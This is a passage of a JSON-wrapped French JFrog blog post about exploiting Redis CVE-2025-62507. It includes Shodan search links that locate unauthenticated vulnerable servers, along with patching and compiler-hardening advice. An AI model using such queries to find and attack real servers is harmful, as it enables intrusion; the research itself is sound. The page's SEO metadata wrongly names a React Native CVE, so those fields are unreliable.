src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13221314\/JFrog-Exploiting-the-Redis-Vulnerability-image1-1.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image1\" width=\"730\" height=\"133\" \/><\/p>\n<h2>\u00c9l\u00e9ments manquants pour obtenir un code d\u2019exploitation enti\u00e8rement op\u00e9rationnel<\/h2>\n<p>Comme indiqu\u00e9 pr\u00e9c\u00e9demment, la plupart des syst\u00e8mes modernes utilisent l\u2019ASLR pour randomiser l\u2019espace d\u2019adressage des processus qui s\u2019y ex\u00e9cutent. Cela signifie que, pour exploiter pleinement cette vuln\u00e9rabilit\u00e9, un pirate devra \u00e9galement provoquer une fuite des adresses m\u00e9moire du processus et des biblioth\u00e8ques, \u00e9ventuellement \u00e0 l\u2019aide d\u2019une vuln\u00e9rabilit\u00e9 distincte de fuite de donn\u00e9es. Lorsque Redis a \u00e9t\u00e9 compil\u00e9 avec des canaris de pile, le pirate devra \u00e9galement trouver un moyen d\u2019obtenir la valeur du canari de pile.<\/p>\n<h2>Dans quelle mesure la CVE-2025-62507 est-elle r\u00e9pandue aujourd\u2019hui\u00a0?<\/h2>\n<p>JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image1JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image1<br \/>\nSelon Shodan, au moment de la r\u00e9daction de cet article, <a href=\"https:\/\/www.shodan.io\/search\/report?query=product%3Aredis+version%3A8.2.0%2C8.2.1%2C8.2.2\">2\u00a0924\u00a0serveurs <\/a>peuvent \u00eatre imm\u00e9diatement compromis au moyen de cette faille, car\u00a0:<\/p>\n<p>1. Ils ex\u00e9cutent une version vuln\u00e9rable de Redis (8.2.0, 8.2.1 ou 8.2.2).<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-162007\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13222056\/JFrog-Exploiting-the-Redis-Vulnerability-image5.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image1\" width=\"351\" height=\"556\" \/><\/p>\n<p>2. Ils ne disposent d\u2019aucun m\u00e9canisme d\u2019authentification.<\/p>\n<p>Cependant, le nombre r\u00e9el de serveurs vuln\u00e9rables pourrait \u00eatre beaucoup plus \u00e9lev\u00e9, puisque Shodan a \u00e9galement d\u00e9tect\u00e9 <a href=\"https:\/\/www.shodan.io\/search?query=NOAUTH+Authentication+required.\">183\u00a0907\u00a0serveurs Redis<\/a> sur lesquels l\u2019authentification est activ\u00e9e. Il est possible que ces serveurs utilisent une version appartenant \u00e0 la plage vuln\u00e9rable et que des pirates tentent de d\u00e9couvrir le mot de passe de connexion par force brute afin d\u2019y acc\u00e9der et d\u2019exploiter la vuln\u00e9rabilit\u00e9.<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-162008\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13222300\/JFrog-Exploiting-the-Redis-Vulnerability-image3.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image1\" width=\"1221\" height=\"925\" \/><\/p>\n<h1>Conclusion<\/h1>\n<p>Cette vuln\u00e9rabilit\u00e9 montre que, m\u00eame dans des projets modernes et matures comme Redis, des failles classiques de corruption de m\u00e9moire peuvent encore appara\u00eetre lors de l\u2019introduction de nouvelles fonctionnalit\u00e9s complexes. Bien que les d\u00e9bordements de tampon sur la pile soient souvent consid\u00e9r\u00e9s comme un probl\u00e8me appartenant au pass\u00e9, la CVE-2025-62507 montre que ces vuln\u00e9rabilit\u00e9s existent toujours et peuvent m\u00eame \u00eatre \u00e9tonnamment faciles \u00e0 exploiter.<\/p>\n<p>Les d\u00e9veloppeurs doivent s\u2019assurer que les m\u00e9canismes de s\u00e9curit\u00e9, tels que la protection par canari de pile, sont activ\u00e9s pendant le processus de compilation (par exemple, en ajoutant l\u2019option <code>-fstack-protector<\/code> lors de l\u2019utilisation de gcc). Comme l\u2019ont montr\u00e9 nos recherches, l\u2019absence de ces protections dans certains environnements peut transformer un bogue de gravit\u00e9 \u00e9lev\u00e9e en voie d\u2019acc\u00e8s triviale \u00e0 une ex\u00e9cution de code \u00e0 distance.<\/p>\n<p>Enfin, les utilisateurs ne doivent pas se fier uniquement aux scores\u00a0CVSS pour d\u00e9finir l\u2019ordre de priorit\u00e9 des correctifs. Bien qu\u2019elle ait \u00e9t\u00e9 class\u00e9e comme pr\u00e9sentant une gravit\u00e9 \u00ab\u00a0\u00e9lev\u00e9e\u00a0\u00bb plut\u00f4t que \u00ab\u00a0critique\u00a0\u00bb, en raison de l\u2019affirmation selon laquelle une authentification \u00e9tait n\u00e9cessaire (\u00ab\u00a0Privil\u00e8ges requis\u00a0\u00bb), la CVE-2025-62507 s\u2019est r\u00e9v\u00e9l\u00e9e exploitable sans authentification pour obtenir une ex\u00e9cution de code \u00e0 distance dans de nombreux environnements r\u00e9els.<\/p>\n<p><span style=\"font-weight: 400;\">Pour rester inform\u00e9 des autres attaques et vuln\u00e9rabilit\u00e9s, consultez le <\/span><a href=\"https:\/\/research.jfrog.com\/\"><span style=\"font-weight: 400;\">centre de recherche en s\u00e9curit\u00e9 de JFrog,<\/span><\/a><span style=\"font-weight: 400;\"> qui publie les derni\u00e8res informations sur les CVE, les vuln\u00e9rabilit\u00e9s et les correctifs. Pour prot\u00e9ger votre cha\u00eene d\u2019approvisionnement logicielle, d\u00e9couvrez \u00e9galement la <\/span><a href=\"https:\/\/jfrog.com\/fr\/platform\/\"><span style=\"font-weight: 400;\">plateforme JFrog<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Redis_Vulnerability_863x300 Une vuln\u00e9rabilit\u00e9 r\u00e9cente de type d\u00e9bordement de tampon sur la pile dans Redis, r\u00e9f\u00e9renc\u00e9e sous le num\u00e9ro CVE-2025-62507, a \u00e9t\u00e9 corrig\u00e9e dans la version\u00a08.3.2. Le probl\u00e8me a \u00e9t\u00e9 publi\u00e9 avec un niveau de gravit\u00e9 \u00e9lev\u00e9 et a re\u00e7u un score CVSS\u00a0v3 de 8.8. Selon l\u2019avis de s\u00e9curit\u00e9 officiel, \u00ab\u00a0un utilisateur peut ex\u00e9cuter la commande &hellip;<\/p>\n","protected":false},"author":590,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10153],"tags":[11445,11446,11399,11398,11286,9999],"class_list":["post-174571","post","type-post","status-publish","format-standard","hentry","category-securite-et-devsecops","tag-cli","tag-react-native","tag-rce","tag-cve-2","tag-vulnerabilites","tag-securite-recherche"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>CVE-2025-11953\u00a0: vuln\u00e9rabilit\u00e9 RCE critique dans l\u2019interface en ligne de commande de React Native<\/title>\n<meta name=\"description\" content=\"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et divulgu\u00e9 la CVE-2025-11953, qui menace les d\u00e9veloppeurs utilisant la populaire interface en ligne de commande de React Native.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174571\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Analyse et exploitation de la CVE-2025-62507\u00a0: ex\u00e9cution de code \u00e0 distance dans Redis\" \/>\n<meta property=\"og:description\" content=\"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et divulgu\u00e9 la CVE-2025-11953, qui menace les d\u00e9veloppeurs utilisant la populaire interface en ligne de commande de React Native.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/\" \/>\n<meta property=\"og:site_name\" content=\"JFrog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/artifrog\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-16T07:11:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-16T10:29:01+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/14123935\/Redis_Vulnerability_1200x628.png\" \/>\n<meta name=\"author\" content=\"drewt\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@jfrog\" \/>\n<meta name=\"twitter:site\" content=\"@jfrog\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"drewt\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/\"},\"author\":{\"name\":\"drewt\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\"},\"headline\":\"Analyse et exploitation de la CVE-2025-62507\u00a0: ex\u00e9cution de code \u00e0 distance dans Redis\",\"datePublished\":\"2026-09-16T07:11:07+00:00\",\"dateModified\":\"2026-09-16T10:29:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/\"},\"wordCount\":3176,\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png\",\"keywords\":[\"CLI\",\"react native\",\"rce\",\"cve\",\"vuln\u00e9rabilit\u00e9s\",\"securite-recherche\"],\"articleSection\":[\"S\u00e9curit\u00e9 et DevSecOps\"],\"inLanguage\":\"fr-FR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/\",\"url\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/\",\"name\":\"CVE-2025-11953\u00a0: vuln\u00e9rabilit\u00e9 RCE critique dans l\u2019interface en ligne de commande de React Native\",\"isPartOf\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png\",\"datePublished\":\"2026-09-16T07:11:07+00:00\",\"dateModified\":\"2026-09-16T10:29:01+00:00\",\"description\":\"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et divulgu\u00e9 la CVE-2025-11953, qui menace les d\u00e9veloppeurs utilisant la populaire interface en ligne de commande de React Native.\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage\",\"url\":\"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png\",\"contentUrl\":\"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/fr\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Analyse et exploitation de la CVE-2025-62507\u00a0: ex\u00e9cution de code \u00e0 distance dans Redis\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/fr\/#website\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/fr\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\",\"name\":\"drewt\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"caption\":\"drewt\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"CVE-2025-11953\u00a0: vuln\u00e9rabilit\u00e9 RCE critique dans l\u2019interface en ligne de commande de React Native","description":"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et divulgu\u00e9 la CVE-2025-11953, qui menace les d\u00e9veloppeurs utilisant la populaire interface en ligne de commande de React Native.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174571","og_locale":"fr_FR","og_type":"article","og_title":"Analyse et exploitation de la CVE-2025-62507\u00a0: ex\u00e9cution de code \u00e0 distance dans Redis","og_description":"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et divulgu\u00e9 la CVE-2025-11953, qui menace les d\u00e9veloppeurs utilisant la populaire interface en ligne de commande de React Native.","og_url":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2026-09-16T07:11:07+00:00","article_modified_time":"2026-09-16T10:29:01+00:00","og_image":[{"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/14123935\/Redis_Vulnerability_1200x628.png"}],"author":"drewt","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"drewt","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/"},"author":{"name":"drewt","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28"},"headline":"Analyse et exploitation de la CVE-2025-62507\u00a0: ex\u00e9cution de code \u00e0 distance dans Redis","datePublished":"2026-09-16T07:11:07+00:00","dateModified":"2026-09-16T10:29:01+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/"},"wordCount":3176,"publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"image":{"@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage"},"thumbnailUrl":"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png","keywords":["CLI","react native","rce","cve","vuln\u00e9rabilit\u00e9s","securite-recherche"],"articleSection":["S\u00e9curit\u00e9 et DevSecOps"],"inLanguage":"fr-FR"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/","url":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/","name":"CVE-2025-11953\u00a0: vuln\u00e9rabilit\u00e9 RCE critique dans l\u2019interface en ligne de commande de React Native","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage"},"image":{"@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage"},"thumbnailUrl":"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png","datePublished":"2026-09-16T07:11:07+00:00","dateModified":"2026-09-16T10:29:01+00:00","description":"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et divulgu\u00e9 la CVE-2025-11953, qui menace les d\u00e9veloppeurs utilisant la populaire interface en ligne de commande de React Native.","breadcrumb":{"@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#primaryimage","url":"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png","contentUrl":"https:\/\/jfrog.com\/wp-content\/uploads\/2026\/01\/Redis_Vulnerability_863x300.png"},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/fr\/"},{"@type":"ListItem","position":2,"name":"Analyse et exploitation de la CVE-2025-62507\u00a0: ex\u00e9cution de code \u00e0 distance dans Redis"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/fr\/#website","url":"https:\/\/jfrog.com\/fr\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/fr\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/fr\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/fr\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28","name":"drewt","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","caption":"drewt"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/users\/590"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/comments?post=174571"}],"version-history":[{"count":3,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174571\/revisions"}],"predecessor-version":[{"id":174626,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174571\/revisions\/174626"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/media?parent=174571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/categories?post=174571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/tags?post=174571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}